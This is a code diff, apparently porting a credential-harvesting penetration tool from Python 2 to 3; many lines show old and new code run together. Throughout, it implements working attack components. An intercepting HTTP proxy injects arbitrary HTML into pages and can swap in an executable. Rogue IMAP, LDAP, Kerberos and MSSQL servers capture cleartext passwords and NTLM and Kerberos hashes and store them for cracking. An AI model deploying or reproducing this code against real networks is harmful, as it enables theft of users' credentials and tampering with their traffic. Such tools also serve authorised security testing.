if settings.Config.PY2OR3 is "PY3":
import urllib.parse as urlparse
import http.server as BaseHTTPServer
else:
import urlparse
import BaseHTTPServer
import select import select
import zlib import zlib
import BaseHTTPServer
from servers.HTTP import RespondWithFile from servers.HTTP import RespondWithFile
from utils import *
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
@@ -34,9 +39,9 @@ def InjectData(data, client, req_uri):
if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
if len(data.split('\r\n\r\n')) > 1: if len(data.split(b'\r\n\r\n')) > 1:
try: try:
Headers, Content = data.split('\r\n\r\n') Headers, Content = data.split(b'\r\n\r\n')
except: except:
return data return data
@@ -44,30 +49,34 @@ def InjectData(data, client, req_uri):
if set(RedirectCodes) & set(Headers): if set(RedirectCodes) & set(Headers):
return data return data
if "content-encoding: gzip" in Headers.lower(): Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers))
if b'content-encoding: gzip' in Headers.lower():
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
if "content-type: text/html" in Headers.lower(): if b'content-type: text/html' in Headers.lower():
if settings.Config.Serve_Html: # Serve the custom HTML if needed if settings.Config.Serve_Html: # Serve the custom HTML if needed
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall(r'(<body[^>]*>)', Content)
if HasBody and len(settings.Config.HtmlToInject) > 2: HasBody = re.findall(b'(<body[^>]*>)', Content, re.IGNORECASE)
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)))
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1')))
if "content-encoding: gzip" in Headers.lower(): if b'content-encoding: gzip' in Headers.lower():
Content = zlib.compress(Content) Content = zlib.compress(Content)
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content)))
data = Headers +'\r\n\r\n'+ Content data = Headers +b'\r\n\r\n'+ Content
else: else:
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response") print(text("[PROXY] Returning unmodified HTTP response"))
return data return data
class ProxySock: class ProxySock:
@@ -99,14 +108,14 @@ class ProxySock:
# Replace the socket by a connection to the proxy # Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto) self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr) self.socket.connect(sockaddr)
except socket.error, msg: except socket.error as msg:
if self.socket: if self.socket:
self.socket.close() self.socket.close()
self.socket = None self.socket = None
continue continue
break break
if not self.socket : if not self.socket :
raise socket.error, msg raise socket.error(msg)
# Ask him to create a tunnel connection to the target host/port # Ask him to create a tunnel connection to the target host/port
self.socket.send( self.socket.send(
@@ -121,7 +130,7 @@ class ProxySock:
# Not 200 ? # Not 200 ?
if parts[1] != "200": if parts[1] != "200":
print color("[!] Error response from upstream proxy: %s" % resp, 1) print(color("[!] Error response from upstream proxy: %s" % resp, 1))
pass pass
# Wrap all methods of inner socket, without any change # Wrap all methods of inner socket, without any change
@@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
def handle(self): def handle(self):
(ip, port) = self.client_address (ip, port) = self.client_address
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Received connection from %s" % self.client_address[0]) print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle() self.__base_handle()
def _connect_to(self, netloc, soc): def _connect_to(self, netloc, soc):
@@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
else: else:
host_port = netloc, 80 host_port = netloc, 80
try: soc.connect(host_port) try: soc.connect(host_port)
except socket.error, arg: except socket.error as arg:
try: msg = arg[1] try: msg = arg[1]
except: msg = arg except: msg = arg
self.send_error(404, msg) self.send_error(404, msg)
@@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
if self._connect_to(netloc, soc): if self._connect_to(netloc, soc):
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)))
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print text("[PROXY] Requested URL : %s" % color(self.path, 3)) print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print text("[PROXY] Cookie : %s" % Cookie) print(text("[PROXY] Cookie : %s" % Cookie))
self.headers['Connection'] = 'close' self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection'] del self.headers['Proxy-Connection']
@@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
del self.headers['Range'] del self.headers['Range']
for k, v in self.headers.items(): for k, v in self.headers.items():
soc.send("%s: %s\r\n" % (k.title(), v)) soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v)))
soc.send("\r\n") soc.send(NetworkSendBufferPython2or3("\r\n"))
try: try:
self._read_write(soc, netloc) self._read_write(soc, netloc)
@@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try: try:
data = i.recv(4096) data = i.recv(4096)
if self.command == "POST" and settings.Config.Verbose: if self.command == b'POST' and settings.Config.Verbose:
print text("[PROXY] POST Data : %s" % data) print(text("[PROXY] POST Data : %s" % data))
except: except:
pass pass
if data: if data:
try: try:
out.send(data) out.send(data)
count = 0 count = 0
except: except:
pass pass

View File

@@ -14,36 +14,35 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
from utils import * from utils import *
from SocketServer import BaseRequestHandler if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP(BaseRequestHandler): class IMAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.send(str(IMAPGreeting())) self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[5:15] == b'CAPABILITY':
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4] RequestTag = data[0:4]
self.request.send(str(IMAPCapability())) self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
data = self.request.recv(1024) data = self.request.recv(1024)
if data[5:10] == "LOGIN": if data[5:10] == b'LOGIN':
Credentials = data[10:].strip() Credentials = data[10:].strip().decode("latin-1").split('"')
SaveToDb({ SaveToDb({
'module': 'IMAP', 'module': 'IMAP',
'type': 'Cleartext', 'type': 'Cleartext',
'client': self.client_address[0], 'client': self.client_address[0],
'user': Credentials[0], 'user': Credentials[1],
'cleartext': Credentials[1], 'cleartext': Credentials[3],
'fullhash': Credentials[0]+":"+Credentials[1], 'fullhash': Credentials[1]+":"+Credentials[3],
}) })
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception: except Exception:
pass pass

View File

@@ -14,56 +14,61 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler import codecs
from utils import *
import struct import struct
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
def ParseMSKerbv5TCP(Data): def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22] MsgType = Data[21:22]
EncType = Data[43:44] EncType = Data[43:44]
MessageType = Data[32:33] MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[50:51])[0] HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0] NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen] Name = Data[154:154+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen] Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33": if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[45:46])[0] HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53: if HashLen == 53:
Hash = Data[48:99] Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0] NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen] Name = Data[148:148+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen] Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
elif HashLen == 54: elif HashLen == 54:
Hash = Data[53:105] Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen] Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
else: else:
Hash = Data[48:100] Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0] NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen] Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen] Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
return False return False
@@ -71,69 +76,74 @@ def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18] MsgType = Data[17:18]
EncType = Data[39:40] EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17": if MsgType == b'\x0a' and EncType == b'\x17':
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33": if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[41:42])[0] HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54: if HashLen == 54:
Hash = Data[44:96] Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0] NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen] Name = Data[145:145+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen] Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
elif HashLen == 53: elif HashLen == 53:
Hash = Data[44:95] Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0] NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen] Name = Data[144:144+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen] Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
else: else:
Hash = Data[49:101] Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16] SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0] NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen] Name = Data[150:150+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0] DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen] Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex') BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash return BuildHash
return False return False
class KerbTCP(BaseRequestHandler): class KerbTCP(BaseRequestHandler):
def handle(self): def handle(self):
data = self.request.recv(1024) try:
KerbHash = ParseMSKerbv5TCP(data) data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash: if KerbHash:
n, krb, v, name, domain, d, h = KerbHash.split('$') n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({ SaveToDb({
'module': 'KERB', 'module': 'KERB',
'type': 'MSKerbv5', 'type': 'MSKerbv5',
'client': self.client_address[0], 'client': self.client_address[0],
'user': domain+'\\'+name, 'user': domain+'\\'+name,
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except:
pass
class KerbUDP(BaseRequestHandler): class KerbUDP(BaseRequestHandler):
def handle(self): def handle(self):
data, soc = self.request try:
KerbHash = ParseMSKerbv5UDP(data) data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash: if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$') (n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({ SaveToDb({
'module': 'KERB', 'module': 'KERB',
'type': 'MSKerbv5', 'type': 'MSKerbv5',
'client': self.client_address[0], 'client': self.client_address[0],
'user': domain+'\\'+name, 'user': domain+'\\'+name,
'hash': h, 'hash': h,
'fullhash': KerbHash, 'fullhash': KerbHash,
}) })
except:
pass

View File

@@ -14,63 +14,86 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler import sys
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from utils import * from utils import *
import struct import struct
import codecs
def ParseSearch(data): def ParseSearch(data):
if re.search(r'(objectClass)', data): if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
def ParseLDAPHash(data, client): def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data[42:] SSPIStart = data.find(b'NTLMSSP')
LMhashLen = struct.unpack('<H',data[54:56])[0] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if LMhashLen > 10: if NthashLen == 24:
LMhashOffset = struct.unpack('<H',data[58:60])[0] SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
NthashLen = struct.unpack('<H',data[64:66])[0] DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0] Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
DomainLen = struct.unpack('<H',data[72:74])[0] Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
DomainOffset = struct.unpack('<H',data[74:76])[0] WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + Challenge.encode('hex')
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'NTLMv1', 'type': 'NTLMv1-SSP',
'client': client, 'client': client,
'user': Domain+'\\'+User, 'user': Domain+'\\'+Username,
'hash': NtHash, 'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash, 'fullhash': WriteHash,
}) })
if LMhashLen < 2 and settings.Config.Verbose: if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication") print(text("[LDAP] Ignoring anonymous NTLM authentication"))
def ParseNTLM(data,client, Challenge): def ParseNTLM(data,client, Challenge):
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data): if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge) NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9].decode('latin-1'),NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
NTLMChall.calculate() NTLMChall.calculate()
return str(NTLMChall) return NTLMChall
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data): elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client) ParseLDAPHash(data, client, Challenge)
def ParseLDAPPacket(data, client, Challenge): def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == '\x84': if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0] MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10] Operation = data[9:10]
@@ -78,14 +101,14 @@ def ParseLDAPPacket(data, client, Challenge):
OperationHeadLen = struct.unpack('>i',data[11:15])[0] OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60": if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen] UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80": if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0] PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen] Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({ SaveToDb({
'module': 'LDAP', 'module': 'LDAP',
'type': 'Cleartext', 'type': 'Cleartext',
@@ -95,26 +118,44 @@ def ParseLDAPPacket(data, client, Challenge):
'fullhash': UserDomain+':'+Password, 'fullhash': UserDomain+':'+Password,
}) })
if sasl == "\xA3": if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge) Buffer = ParseNTLM(data,client, Challenge)
return Buffer return Buffer
elif Operation == "\x63": elif Operation == b'\x63':
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
return Buffer return Buffer
elif settings.Config.Verbose: elif settings.Config.Verbose:
print text('[LDAP] Operation not supported') print(text('[LDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
while True: self.request.settimeout(0.4)
self.request.settimeout(0.5) data = self.request.recv(8092)
data = self.request.recv(8092) Challenge = RandomChallenge()
Challenge = RandomChallenge() for x in range(5):
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge) Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
if Buffer: if Buffer:
self.request.send(Buffer) self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.timeout: data = self.request.recv(8092)
except:
pass pass

View File

@@ -14,10 +14,16 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from SocketServer import BaseRequestHandler import random
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import struct import struct
import codecs
from utils import *
if settings.Config.PY2OR3 is "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
class TDS_Login_Packet: class TDS_Login_Packet:
def __init__(self, data): def __init__(self, data):
@@ -40,7 +46,7 @@ class TDS_Login_Packet:
LocaleLen = struct.unpack('<h', data[74:76])[0] LocaleLen = struct.unpack('<h', data[74:76])[0]
DatabaseNameOff = struct.unpack('<h', data[76:78])[0] DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
DatabaseNameLen = struct.unpack('<h', data[78:80])[0] DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
data = NetworkRecvBufferPython2or3(data)
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '') self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '') self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '') self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
@@ -51,28 +57,26 @@ class TDS_Login_Packet:
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '') self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
